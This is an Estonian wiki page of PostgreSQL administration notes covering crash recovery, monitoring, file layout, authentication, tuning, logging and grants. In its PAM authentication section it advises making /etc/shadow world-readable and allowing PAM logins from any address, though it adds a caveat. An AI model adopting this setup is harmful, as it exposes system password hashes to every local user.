 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  1 2013-03-20 12:10:25 EET 0 LOG:  database system was interrupted; last known up at 2013-03-20 12:10:09 EET&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  2 2013-03-20 12:10:25 EET 0 LOG:  could not open file &amp;quot;pg_xlog/00000001000005E600000008&amp;quot; (log file 1510, segment 8): \&lt;br /&gt;
   No such file or  directory&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  3 2013-03-20 12:10:25 EET 0 LOG:  invalid checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  4 2013-03-20 12:10:25 EET 0 PANIC:  could not locate required checkpoint record&lt;br /&gt;
 2013-03-20 12:10:25 EET    15966  51498b11.3e5e  5 2013-03-20 12:10:25 EET 0 HINT:  If you are not restoring from a backup, try removing the file &amp;quot;/data/postgresql/backup_label&amp;quot;.&lt;br /&gt;
 2013-03-20 12:10:25 EET batchmanager portaal 127.0.0.1(50593) 15969  51498b11.3e61  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET eit1 xportal 10.100.6.75(55188) 15970  51498b11.3e62  1 2013-03-20 12:10:25 EET 0 FATAL:  the database system is in recovery mode&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  37 2013-03-09 23:33:45 EET 0 LOG:  startup process (PID 15966) was terminated by signal 6: Aborted&lt;br /&gt;
 2013-03-20 12:10:25 EET    21687  513baab9.54b7  38 2013-03-09 23:33:45 EET 0 LOG:  aborting startup due to startup process failure&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* on näha, et baasi käivitamisega on probleem&lt;br /&gt;
* HINT annab teada, mida teha, tuleb eemaldada pg_start_backup() ütlemisega tekitatud fail backup_label&lt;br /&gt;
&lt;br /&gt;
 $ rm /data/postgresql/backup_label&lt;br /&gt;
&lt;br /&gt;
Seejärel võib baasi tavapärasel viisil edasi kasutada&lt;br /&gt;
&lt;br /&gt;
====Krahhi uurimine====&lt;br /&gt;
&lt;br /&gt;
* Kui nt PL keeles tehtud protseduur kasutab mõnda teeki, mis omakorda kasutab mõnda teeki, mida aga failisüsteemis ei ole, siis tavaliselt andmebaas crashib teatega&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  3 2010-05-18 15:58:00 EEST 0 LOG:  server process (PID 32188) exited with exit code 12&lt;br /&gt;
 2010-05-24 16:10:09 EEST    21463  4bf28ed8.53d7  4 2010-05-18 15:58:00 EEST 0 LOG:  terminating any other active server processes&lt;br /&gt;
&lt;br /&gt;
Põhjusele võib aidata jälile jõuda mainitud PID väärtust eestpoolt logist otsides, nt antud juhtumil&lt;br /&gt;
&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 1 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   WARNING:  error from Perl function &amp;quot;sqlora&amp;quot;: install_driver(Oracle) failed: Can't load&lt;br /&gt;
   '/usr/local/lib/perl/5.8.8/auto/DBD/Oracle/Oracle.so' for module DBD::Oracle: libclntsh.so.10.1: cannot open shared object file: \&lt;br /&gt;
   No such file or directory at /usr/lib/perl/5.8/DynaLoader.pm line 225.&lt;br /&gt;
         at line 5&lt;br /&gt;
        Compilation failed in require at line 3.&lt;br /&gt;
        Perhaps a required shared library or dll isn't installed where expected&lt;br /&gt;
         at line 11&lt;br /&gt;
 2010-05-24 16:01:19 EEST gateway portaal 127.0.0.1(57375) 32188 SELECT 4bfa789f.7dbc SELECT 2 2010-05-24 16:01:19 EEST 0 \&lt;br /&gt;
   CONTEXT:  PL/pgSQL function &amp;quot;low&amp;quot; line 2 at RETURN&lt;br /&gt;
        PL/pgSQL function &amp;quot;field&amp;quot; line 335 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;sisu&amp;quot; line 502 at assignment&lt;br /&gt;
        PL/pgSQL function &amp;quot;show&amp;quot; line 56 at assignment&lt;br /&gt;
 Out of memory!&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi monitooring===&lt;br /&gt;
&lt;br /&gt;
* Üheks andmebaasi oluliseks andmebaasi seisundit iseloomustavaks näitajaks on kui kaugel ta on nn wraparound ajast, arv peab olema alati alla 2g ja seda hoiab väiksena korrapärane andmebaasi vakumeerimine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT relname, age(relfrozenxid) FROM pg_class WHERE relkind = 'r';&lt;br /&gt;
 SQL&amp;gt; SELECT datname, age(datfrozenxid) FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi sisemisi näitajaid sobib kasutada Cactiga graafikute joonistamiseks või Nagiosegaga alarmi saatmiseks, nt http://bucardo.org/wiki/Check_postgres.&lt;br /&gt;
&lt;br /&gt;
Kasulikud materjalid&lt;br /&gt;
&lt;br /&gt;
* http://kuutorvaja.eenet.ee/wiki/Nagiose_kasutamine_Debian_Lenniga#PostgreSQL&lt;br /&gt;
&lt;br /&gt;
===Failisüsteemi kasutamine===&lt;br /&gt;
&lt;br /&gt;
Tekst http://www.postgresql.org/docs/9.0/static/storage-file-layout.html kirjeldab kuidas PostgreSQL andmebaas kasutab failisüsteemi&lt;br /&gt;
&lt;br /&gt;
 faili-või kataooginimi	  Kirjeldus&lt;br /&gt;
 PG_VERSION	          A file containing the major version number of PostgreSQL&lt;br /&gt;
 base	                  Subdirectory containing per-database subdirectories&lt;br /&gt;
 global	                  Subdirectory containing cluster-wide tables, such as pg_database&lt;br /&gt;
 pg_clog	          Subdirectory containing transaction commit status data&lt;br /&gt;
 pg_multixact	          Subdirectory containing multitransaction status data (used for shared row locks)&lt;br /&gt;
 pg_notify	          Subdirectory containing LISTEN/NOTIFY status data&lt;br /&gt;
 pg_stat_tmp	          Subdirectory containing temporary files for the statistics subsystem&lt;br /&gt;
 pg_subtrans	          Subdirectory containing subtransaction status data&lt;br /&gt;
 pg_tblspc	          Subdirectory containing symbolic links to tablespaces&lt;br /&gt;
 pg_twophase         	  Subdirectory containing state files for prepared transactions&lt;br /&gt;
 pg_xlog	          Subdirectory containing WAL (Write Ahead Log) files&lt;br /&gt;
 postmaster.opts	  A file recording the command-line options the server was last started with&lt;br /&gt;
 postmaster.pid	          A lock file recording the current server PID and shared memory segment ID (not present after server shutdown&lt;br /&gt;
&lt;br /&gt;
Andmebaaside OID väärtusi kasutadakse failisüteemis kataloogis base asuvate andmebaasidele vastavate kataloogide nimedena&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; SELECT datname, oid FROM pg_database;&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kataloogis asub selliseid faile&lt;br /&gt;
&lt;br /&gt;
* tabelitele ja indeksitele vastavad failid, mille nimedena kasutatakse üldiselt vastavad OID väärtusi&lt;br /&gt;
* tabeli ja indeksi failiga kaasnevad vastavad *_fsm ja *_vm failid, mis on vastavalt free space map ning visibility map&lt;br /&gt;
* kui tabeli 8kB suurusse pagesse ei mahu tabeli rida ära, siis kasutatakse vastavate andmete hoidmiseks TOAST (The Oversized-Attribute Storage Technique) faili&lt;br /&gt;
* kui tabeli on üle 1 GB suur, siis hoitakse vastavaid andmeid OID.1, OID.2 jne nimelistes failides&lt;br /&gt;
&lt;br /&gt;
Tabeli nimi, oid väärtuse, kasutatud 8kB lehted ja tabelis sisalduvate korteežide arvu kohta saab küsida selliselt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select relname, oid, relpages, reltuples from pg_class limit 10;&lt;br /&gt;
          relname          |  oid  | relpages | reltuples &lt;br /&gt;
 --------------------------+-------+----------+-----------&lt;br /&gt;
  priidutabel              |  1247 |        7 |       283&lt;br /&gt;
  marditabel               | 11550 |        0 |         0&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
contrib utiliit oid2name abil saab küsida oid väärtusele vastavat tabelinime&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/8.4/bin/oid2name -H 127.0.0.1 -U postgres -d rsyslog -f 2755 -x &lt;br /&gt;
 From database &amp;quot;loomdb&amp;quot;:&lt;br /&gt;
   Filenode             Table Name   Oid      Schema  Tablespace&lt;br /&gt;
 ---------------------------------------------------------------&lt;br /&gt;
       2755            priidutabel  2755       priit  pg_default&lt;br /&gt;
&lt;br /&gt;
===Kasutaja autentimine===&lt;br /&gt;
&lt;br /&gt;
Vaikimisi toimub andmebaasi kasutaja autentimine selliselt, et&lt;br /&gt;
&lt;br /&gt;
* baasi saab üle võrgu sisse logida baasis kirjeldatud kasutaja oma baasis kirjeldatud parooliga&lt;br /&gt;
* baasi saab lokaalselt sisse logida kasutaja, kelle unix kasutajanimi klapib baasis kirjeldatud kasutajanimega&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine /etc/passwd abil====&lt;br /&gt;
&lt;br /&gt;
Andmebaasi kasutaja autentimiseks nö süsteemi lokaalse kasutajana sobib kasutada pg_hba.conf failis nt rida&lt;br /&gt;
&lt;br /&gt;
 host all all 0.0.0.0/0 pam&lt;br /&gt;
&lt;br /&gt;
ning muuta /etc/shadow faili loabit, seejuures tuleb ise hinnata, kas see muudatus on aktsepteeritav&lt;br /&gt;
&lt;br /&gt;
 # chmod o+r /etc/shadow&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Kerberosega====&lt;br /&gt;
&lt;br /&gt;
Kerberose kasutaja autentimiseks Kerberosega peab olema kasutada Kerberose infrastruktuur, nt selline nagu kirjeldatud tekstis [[:MIT Kerberose kasutamine Debianiga]]. Lisaks tuleb&lt;br /&gt;
&lt;br /&gt;
* moodustada andmebaasiarvuti PostgreSQL teenusele vastav Kerberose osapool öeldes andmebaasi arvutis kasutajana postgres&lt;br /&gt;
&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;addprinc postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
 $ kadmin -p root/admin -q &amp;quot;ktadd -k /etc/postgresql-common/krb5.keytab postgres/postgresql.loomaaed&amp;quot;&lt;br /&gt;
&lt;br /&gt;
* kasutada pg_hba.conf failis sarnast rida&lt;br /&gt;
&lt;br /&gt;
 # TYPE  DATABASE    USER    CIDR-ADDRESS        METHOD&lt;br /&gt;
 ...&lt;br /&gt;
 host    all         all     192.168.10.205/32   gss&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et kerberose kasutaja nimi langeb kokku andmebaasi kasutaja nimega saab seejärel kasutaja andmebaasi sisse logida öeldes tavalisel moel&lt;br /&gt;
&lt;br /&gt;
 $ psql -h postgresql.loomaaed -U priit priit&lt;br /&gt;
&lt;br /&gt;
Samuti toetab PgAdmin3 GSSAPI kasutamist.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine PAM + LDAP kataloogiga====&lt;br /&gt;
&lt;br /&gt;
Eeldusel, et süsteemis on PAM LDAP backend kasutamine ettevalmistatud sobib PostgreSQL kasutajate LDAP kataloogi vastu autentimiseks&lt;br /&gt;
&lt;br /&gt;
* PostgreSQL pg_hba.conf seadistusfailis kasutada nt rida&lt;br /&gt;
&lt;br /&gt;
 host    all         all        127.0.0.1/32 pam pamservice=postgresql&lt;br /&gt;
&lt;br /&gt;
* /etc/pam.d/postgresql failis kasutada ridu (pamservice parameeter näitab PAM teenuse nime)&lt;br /&gt;
&lt;br /&gt;
 auth    sufficient      pam_ldap.so&lt;br /&gt;
 account sufficient      pam_ldap.so&lt;br /&gt;
&lt;br /&gt;
Oluline on tähele panna, et antud asjakorralduse puhul peab PostgreSQL andmebaasis olema kõnealune kasutaja olemas ja tema privileegid kirjeldatud, ainult autentimine toimub PAM+LDAP abil.&lt;br /&gt;
&lt;br /&gt;
====Kasutaja autentimine Active Directory vastu====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Andmebaasi tuunimine===&lt;br /&gt;
&lt;br /&gt;
Aadressil http://wiki.postgresql.org/wiki/Performance_Optimization on toodud mitmeid viiteid tekstidele, kuidas admebaasi seadistusfaili sobivate seadistuste valimisel suurendada andmebaasi jõudlust.&lt;br /&gt;
&lt;br /&gt;
* shared_buffers - kui arvutis ei tööta muid olulisi protsesse peale andmebaasi, siis võiks selle parameetri väärtus olla 1/4 operatsioonisüsteemi mälust (RAM); seejuures tuleb tõenäoliselt suurendada ka kernel.shmmax parameetri väärtust, nt pooleli ram'ist, nt kui ram on 4g, siis sobib öelda&lt;br /&gt;
&lt;br /&gt;
 # sysctl -w kernel.shmmax=2147483648&lt;br /&gt;
&lt;br /&gt;
Tavaliselt on kernel.shmall väärtus piisavalt suur, see väljendab kogu jagatud mälu suurust süsteemis page ühikutes (4 kB x86 raual); nt 2097152 = 8G&lt;br /&gt;
&lt;br /&gt;
PostgeSQL enda manuaalis on vastavad juhised aadressil http://www.postgresql.org/docs/8.3/interactive/kernel-resources.html.&lt;br /&gt;
&lt;br /&gt;
* max_connections = 750&lt;br /&gt;
* superuser_reserved_connections = 8&lt;br /&gt;
* work_mem - &lt;br /&gt;
* maintainance_work_mem -&lt;br /&gt;
* effective_cache_size - pool arvuti mälu suurusest&lt;br /&gt;
&lt;br /&gt;
shmall ja shmmax arvutamiseks sobib nt selline skript, http://www.postgresql.org/message-id/4D3B1F75.8040405@2ndquadrant.com&lt;br /&gt;
&lt;br /&gt;
 page_size=`getconf PAGE_SIZE`&lt;br /&gt;
 phys_pages=`getconf _PHYS_PAGES`&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$page_size&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine page size&lt;br /&gt;
   exit 1&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 if [ -z &amp;quot;$phys_pages&amp;quot; ]; then&lt;br /&gt;
   echo Error:  cannot determine number of memory pages&lt;br /&gt;
   exit 2&lt;br /&gt;
 fi&lt;br /&gt;
 &lt;br /&gt;
 shmall=`expr $phys_pages / 2`&lt;br /&gt;
 shmmax=`expr $shmall \* $page_size`&lt;br /&gt;
 &lt;br /&gt;
 echo \# Maximum shared segment size in bytes&lt;br /&gt;
 echo kernel.shmmax = $shmmax&lt;br /&gt;
 echo \# Maximum number of shared memory segments in pages&lt;br /&gt;
 echo kernel.shmall = $shmall&lt;br /&gt;
&lt;br /&gt;
256 GB mäluga arvutis annab ta sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
 # sh shmsetup&lt;br /&gt;
 # Maximum shared segment size in bytes&lt;br /&gt;
 kernel.shmmax = 135512178688&lt;br /&gt;
 # Maximum number of shared memory segments in pages&lt;br /&gt;
 kernel.shmall = 33084028&lt;br /&gt;
&lt;br /&gt;
Debian Wheezy, Ubuntu 12.04 jt keskkondade ja PGDG andmebaasi puhul paigutatakse need parameetrid /etc/sysctl.d/30-postgresql-shm.conf seadistusfaili.&lt;br /&gt;
&lt;br /&gt;
Kui work_mem väärtus on liig väike, siis kasutatakse tmp faile, nende kasutamisest aitab aimu saada log_temp_files parameeter&lt;br /&gt;
&lt;br /&gt;
 #log_temp_files = -1                    # log temporary files equal or larger&lt;br /&gt;
                                         # than the specified size in kilobytes;&lt;br /&gt;
                                         # -1 disables, 0 logs all temp files&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* http://pgtune.leopard.in.ua/&lt;br /&gt;
&lt;br /&gt;
===Logimine===&lt;br /&gt;
&lt;br /&gt;
* Andmebaasi tehtud ühenduste logimiseks sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 log_connections = on&lt;br /&gt;
 log_disconnections = on&lt;br /&gt;
&lt;br /&gt;
* kasutaja päringute logimiseks&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'all';&lt;br /&gt;
&lt;br /&gt;
kuna see täidab tõenäoliselt hästi failisüsteemi, tuleb peale kasutamist logimine uuesti välja lülitada&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER USER gateway SET log_statement = 'none';&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* pg_dump ei salvesta andmebaasi search_path'i, see peale baasi taastamist tuleb sobiv alter lause eraldi öelda, nt&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; ALTER DATABASE loomaaed SET search_path=loom, lind;&lt;br /&gt;
&lt;br /&gt;
* kasutaja search_path seadmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; dvk=# ALTER USER dkk_admin SET search_path = dkk, public;&lt;br /&gt;
&lt;br /&gt;
* Kui andmebaasi arhiivifaili sisselugemisel keelega seotud teegi asukoht muutub, siis sobib teha kas sobib link, nt&lt;br /&gt;
&lt;br /&gt;
 # ln -s /usr/lib/postgresql/8.3/lib/plpgsql.so /usr/local/postgresql/lib/plpgsql.so&lt;br /&gt;
&lt;br /&gt;
või moodustada nö käsitsi vastav keel enne arhiivifaili kasutamist&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; CREATE LANGUAGE plpgsql;&lt;br /&gt;
&lt;br /&gt;
* Suuremate nö bulk-insertide puhul on normaalne, et logisse ilmuvad sellised teated&lt;br /&gt;
&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  135 2010-06-03 20:42:20 EEST 0 LOG:  checkpoints are occurring too frequently \&lt;br /&gt;
   (21 seconds apart)&lt;br /&gt;
 2010-06-14 13:40:17 EEST    3260  4c07e97c.cbc  136 2010-06-03 20:42:20 EEST 0 HINT:  Consider increasing the configuration \&lt;br /&gt;
   parameter &amp;quot;checkpoint_segments&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Kõigile baasi tabelitele, mis võivad asuda erinevates skeemides grantide ütlemine&lt;br /&gt;
&lt;br /&gt;
 $ psql -h 127.0.0.1 -U kasutaja baas -c '\dt' | egrep &amp;quot;data|public|wizard|live&amp;quot; | awk '{ print $1 &amp;quot;.&amp;quot; $3}' &amp;gt; baas.tabelid&lt;br /&gt;
 $ for i in `cat baas.tabelid`; do psql -h 127.0.0.1 -U kasutaja baas -c &amp;quot;GRANT SELECT ON TABLE $i TO grupinimi;&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
* sequence viimase väärtuse küsimune, last_value asemele võib kirjutada ka *&lt;br /&gt;
&lt;br /&gt;
 baasinimi=# select last_value from skeeminimi.sq_tabelinimi_id;&lt;br /&gt;
 last_value &lt;br /&gt;
 ------------&lt;br /&gt;
    1009492&lt;br /&gt;
 (1 row)&lt;br /&gt;
&lt;br /&gt;
* Kui ühenduste arv (max_connections) on täis, siis logitakse&lt;br /&gt;
&lt;br /&gt;
 2016-07-22 13:49:35 EEST rakendus rakendus 10.100.7.168(38576) 12756 startup 5791fa3f.31d4 startup 1 \&lt;br /&gt;
   2016-07-22 13:49:35 EEST 0 FATAL:  remaining connection slots are reserved for non-replication superuser connections&lt;br /&gt;
&lt;br /&gt;
===Ligipääsude massiline haldamine===&lt;br /&gt;
&lt;br /&gt;
====Skeemid====&lt;br /&gt;
&lt;br /&gt;
Tõenäoliselt saab nii nö päris schemade nimekirja&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select * from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
Kõigile skeemidele portaal_ro non-login rollile USAGE privileegi andmine&lt;br /&gt;
&lt;br /&gt;
 SQL&amp;gt; select 'GRANT USAGE ON ' || schema_name || ' TO portaal_ro;' from information_schema.schemata where schema_owner != 'postgres';&lt;br /&gt;
&lt;br /&gt;
====Tabelid====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====20171017 täiendus====&lt;br /&gt;
&lt;br /&gt;
Skeemi public kõigile tabelitele lugemise ligipääsu andmine&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
SQL&amp;gt; create role wiki_ro;&lt;br /&gt;
SQL&amp;gt; \c baasinimi&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL TABLES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; GRANT SELECT ON ALL SEQUENCES IN SCHEMA public TO wiki_ro;&lt;br /&gt;
SQL&amp;gt; create role wiki_bi login;&lt;br /&gt;
SQL&amp;gt; grant wiki_ro to wiki_bi;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kasulikud lisamaterjalid&lt;br /&gt;
&lt;br /&gt;
* https://jamie.curle.io/creating-a-read-only-user-in-postgres&lt;br /&gt;
&lt;br /&gt;
===PostgreSQL SSL toe kasutamine===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Extensionite kasutamine===&lt;br /&gt;
&lt;br /&gt;
Nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; select * from pg_available_extensions order by name;&lt;br /&gt;
&lt;br /&gt;
===pg_buffercache===&lt;br /&gt;
&lt;br /&gt;
pg_buffefrcache on contrib moodul, kasutamiseks tuleb laadida baasi abivahendid&lt;br /&gt;
&lt;br /&gt;
 $ psql -p 5432 -U postgres -d pgbench -f /usr/share/postgresql/9.0/contrib/pg_buffercache.sql&lt;br /&gt;
&lt;br /&gt;
===Baasi kustutamine===&lt;br /&gt;
&lt;br /&gt;
Reeglina ei saa kustuta create database andmebaasi kui seal on kasutajad küljes, selle vastu võiks aidata selline skript&lt;br /&gt;
&lt;br /&gt;
 # cat kustuta-test-baas.sh&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;update pg_database set datallowconn = 'false' where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 /bin/su - postgres -c &amp;quot;psql -U postgres -c \&amp;quot;select pg_terminate_backend(procpid) from pg_stat_activity where datname = 'test'; \&amp;quot;&amp;quot;&lt;br /&gt;
 dropdb -U testija test 1&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
===pg_dump skriptiga töötamine===&lt;br /&gt;
&lt;br /&gt;
Tabelinimede küsimine&lt;br /&gt;
&lt;br /&gt;
 $ sed '/^CREATE TABLE/!d' baas.sql&lt;br /&gt;
&lt;br /&gt;
Esitada tabeli loomised ridade numbritega&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '/^CREATE TABLE/{=;p}' baas.sql&lt;br /&gt;
&lt;br /&gt;
COPY vahemiku otsimine&lt;br /&gt;
&lt;br /&gt;
sed -n '/^COPY/{=;p}' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Ridade vahemiku esitamine&lt;br /&gt;
&lt;br /&gt;
 $ sed -n '15994,16041p' baas.sql &amp;gt; vahemik.sql&lt;br /&gt;
&lt;br /&gt;
Rea eraldamine failist&lt;br /&gt;
&lt;br /&gt;
 $ grep ^622087 vahemik.sql &amp;gt; baas-tabel-copy-622087.sql&lt;br /&gt;
&lt;br /&gt;
===Märkused===&lt;br /&gt;
&lt;br /&gt;
* Baasis parasjagu toimuvate tegevuste nimekirja esitamine&lt;br /&gt;
&lt;br /&gt;
 postgres=# select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  datname  | usename  | procpid |  client_addr  | waiting |          query_start          |                                            current_query                  &lt;br /&gt;
 ----------+----------+---------+---------------+---------+-------------------------------+------------------------------------------------------------------------------------------------------&lt;br /&gt;
  postgres | postgres |    2424 |               | f       | 2013-03-08 10:37:24.551676+02 | select  datname,usename,procpid,client_addr,waiting,query_start,current_query FROM pg_stat_activity;&lt;br /&gt;
  prtaal   | postgres |    1673 | 172.19.10.142 | t       | 2013-03-08 09:49:11.287969+02 | SELECT count(*) AS rows FROM ONLY pw.logi&lt;br /&gt;
  prtaal   | postgres |   21303 |               | f       | 2013-03-08 09:22:40.516297+02 | ALTER TABLE ONLY logi&lt;br /&gt;
                                                                                         :     ADD CONSTRAINT logi_pkey PRIMARY KEY (log_id);&lt;br /&gt;
&lt;br /&gt;
* Suuremate tabelite nimekirja esitamine, koos vastavate indexite ja toastidega&lt;br /&gt;
&lt;br /&gt;
 SELECT nspname || '.' || relname AS &amp;quot;relation&amp;quot;,&lt;br /&gt;
    pg_size_pretty(pg_total_relation_size(C.oid)) AS &amp;quot;size&amp;quot;&lt;br /&gt;
   FROM pg_class C&lt;br /&gt;
   LEFT JOIN pg_namespace N ON (N.oid = C.relnamespace)&lt;br /&gt;
   WHERE nspname NOT IN ('pg_catalog', 'information_schema') and relkind='r'&lt;br /&gt;
   ORDER BY pg_total_relation_size(C.oid) DESC&lt;br /&gt;
   LIMIT 20;&lt;br /&gt;
&lt;br /&gt;
* pg_controldata programmiga saab küsida infot andmeklustri kohta, protsessid võiksid sel ajal pigem mitte töötada&lt;br /&gt;
&lt;br /&gt;
 $ /usr/lib/postgresql/9.2/bin/pg_controldata /var/lib/postgresql/9.2/main &lt;br /&gt;
 pg_control version number:            922&lt;br /&gt;
 Catalog version number:               201204301&lt;br /&gt;
 Database system identifier:           6004185537552842495&lt;br /&gt;
 Database cluster state:               in production&lt;br /&gt;
 pg_control last modified:             Tue Oct  7 15:01:55 2014&lt;br /&gt;
 Latest checkpoint location:           1CC/83B86EE0&lt;br /&gt;
 Prior checkpoint location:            1CC/83AD1C30&lt;br /&gt;
 Latest checkpoint's REDO location:    1CC/83B7B2C8&lt;br /&gt;
 Latest checkpoint's TimeLineID:       2&lt;br /&gt;
 Latest checkpoint's full_page_writes: on&lt;br /&gt;
 Latest checkpoint's NextXID:          0/160131529&lt;br /&gt;
 Latest checkpoint's NextOID:          98092825&lt;br /&gt;
 Latest checkpoint's NextMultiXactId:  13515&lt;br /&gt;
 Latest checkpoint's NextMultiOffset:  27409&lt;br /&gt;
 Latest checkpoint's oldestXID:        675&lt;br /&gt;
 Latest checkpoint's oldestXID's DB:   1&lt;br /&gt;
 Latest checkpoint's oldestActiveXID:  0&lt;br /&gt;
 Time of latest checkpoint:            Tue Oct  7 15:01:50 2014&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
* defaultist erineva collate ja ctype väärtustega create database baasi tekitamine, eelduseks on, et kõik baasid on UTF-8 kodeeringus&lt;br /&gt;
&lt;br /&gt;
 postgres=# create database db_jira_c template = template0 lc_collate = 'C.UTF-8' lc_ctype='C.UTF-8';&lt;br /&gt;
&lt;br /&gt;
tulemusena on&lt;br /&gt;
&lt;br /&gt;
 postgres=# \l&lt;br /&gt;
                                     List of databases&lt;br /&gt;
      Name     |   Owner    | Encoding |   Collate   |    Ctype    |   Access privileges   &lt;br /&gt;
 --------------+------------+----------+-------------+-------------+----------------------&lt;br /&gt;
 .. &lt;br /&gt;
  db_jira      | jira       | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | &lt;br /&gt;
  db_jira_c    | postgres   | UTF8     | C.UTF-8     | C.UTF-8     | &lt;br /&gt;
  template0    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
  template1    | postgres   | UTF8     | et_EE.UTF-8 | et_EE.UTF-8 | =c/postgres          +&lt;br /&gt;
               |            |          |             |             | postgres=CTc/postgres&lt;br /&gt;
&lt;br /&gt;
===Rakendus kasutab andmebaasi===&lt;br /&gt;
&lt;br /&gt;
PostgreSQL andmebaasis vaikimis olemas oleva kasutaja nimi on postgres ja seal on olemas create database postgres. Neid kumbagi ei tohiks kasutada rakenduse andmete jaoks. Seoses rakendusega on andmebaasis juurutatud &lt;br /&gt;
&lt;br /&gt;
* kasutaja rakendusenimi_admin - sellele kasutajale kuuluvad rakendusega seotud andmebaasi objektid (skeemid, tabelid, funktsioonid jne); kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* kasutaja rakendusenimi_user - selle kasutajana pöördub baasi poole rakendus, kasutajale on antud grant lausete abil õigus kuhu vaja teha select, update jms; kasutaja ei ole PostgreSQL superuser privileegiga&lt;br /&gt;
* create database andmebaas rakenduse_baas - selle ja kõigi seal sisalduvate objektide omanik on rakendusenimi_admin, kusjuures rakendus ei tohiks kasutada public skeemi vaid spetsiifiliste nimedega skeeme&lt;br /&gt;
&lt;br /&gt;
Selline tulemus tekib nt sellise järgnevuse tulemusena&lt;br /&gt;
&lt;br /&gt;
* ühendutakse uude tühja PostgreSQL andmebaasi kasutajana postgres ning tekitatakse kaks mitte-superuser kasutajat&lt;br /&gt;
* ühendutakse uude PostgreSQL andmebaasi kasutajana postgres ning tekitatakse rakenduse jaoks create database rakenduse_baas näidates omaniku&lt;br /&gt;
&lt;br /&gt;
 sql&amp;gt; create database rakenduse_baas owner = rakendusenimi_admin;&lt;br /&gt;
&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja tekitatakse andmebaasiobjektid (skeemid, tabelid jne)&lt;br /&gt;
* ühendutakse baasi kasutajana rakendusenimi_admin ja lisatakse vajalikud grantid rakendusenimi_user jaoks&lt;br /&gt;
&lt;br /&gt;
Oluline on seejuures, et andmebaasi rakenduse_baas süsteemseid objekte ei muudeta ära postgres kasutaja omandusest (nt create database rakendusenimi_baas skeemid information_schema või pg_catalog).&lt;br /&gt;
&lt;br /&gt;
